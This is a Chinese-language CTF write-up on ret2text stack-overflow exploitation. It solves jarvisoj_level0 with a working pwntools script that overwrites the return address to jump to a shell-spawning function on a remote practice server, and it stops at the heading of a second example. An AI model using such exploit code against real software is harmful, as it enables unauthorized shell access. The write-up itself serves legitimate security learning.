ret2text

最简单的栈溢出利用:ret2text

简单来讲ret2text 即控制程序执行程序本身已有的的代码(.text)。通过栈溢出修改call指令保存在栈上的返回地址(eip的值),当cpu执行ret时会将栈上被修改的值取出放入eip寄存器中并执行。

例一:jarvisoj_level0

NX enabled(可以考虑找一下程序是否自带可以调用的函数了) 64位,拖入ida64

f12+shift,有/bin/sh在callsystem中

可以看到buf的范围在[rsp+0h] [rbp-80h],可以通过a*(0x80+8)覆盖到返回地址,buf到rbp为0x80,加8字节覆盖到eip(32位程序为4字节,64位程序为8字节)

callsystem的地址为0x400596,在payload中放入返回处

from pwn import *

# p = process('./level0')
p = remote('node4.buuoj.cn', '25081')

payload = b'a' * (0x80 + 8) + p64(0x400596)
p.sendline(payload)
p.interactive()

远程成功打通(PS:这里我尝试本地时没有打通,可能是libc版本问题)

例二:wustctf2020_getshell